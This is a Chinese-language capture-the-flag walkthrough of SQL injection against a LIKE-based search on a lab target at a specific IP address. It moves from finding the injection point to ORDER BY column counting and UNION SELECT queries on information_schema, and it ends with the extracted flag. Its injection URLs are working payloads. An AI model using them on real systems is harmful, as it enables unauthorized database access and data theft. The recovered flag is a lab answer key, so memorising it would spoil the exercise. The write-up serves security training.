like语法
"%"匹配任何字符, "like"的意思就是像, "$" 变量
SQL语句:select username,id from admin where username like '%$name%'
进入靶场后出现此界面,在登录界面输入1’判断一下是数字型还是字符型。
页面下方出现账号密码错误或用户未注册!那先注册,后登录。
判断是否有注入点
搜索框内 输入a正常回显
输入a’报错
猜解列名数量(字段数)
URL地址中输入a' order by 1 # 报错
http://47.103.94.191:8015/sqli_1.php?title=a' order by 1 # &action=search
URL地址中输入a’’/a% order by 1 #正常回显,却无法判断字段数,也无法查看报错位。我们尝试把注释符#换成--+,正常回显
http://47.103.94.191:8015/sqli_1.php?title=a' order by 1 --+ &action=search
8页面显示不正常,发现最大正常位是7
查看报错位(2,3,4,5报错)
http://47.103.94.191:8015/sqli_1.php?title=a' union select 1,2,3,4,5,6,7 --+ &action=search
获取数据库信息
获取数据库名称(whalwl)
数据库表的信息(blog,heroes,movies,this_flag,users,visitors)
http://47.103.94.191:8015/sqli_1.php?title=a' union select 1,database(),3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --+ &action=search
查找this_flag表下的列
数据库列的信息:id,num,flag
http://47.103.94.191:8015/sqli_1.php?title=a' union select 1,database(),3,4,group_concat(column_name),6,7 from information_schema.columns where table_name='this_flag' --+ &action=search
获取flag
http://47.103.94.191:8015/sqli_1.php?title=a' union select 1,database(),3,4,flag,6,7 from whalwl.this_flag --+ &action=search
提交flag
flag{86b757e867b43d16050225ab516b2274}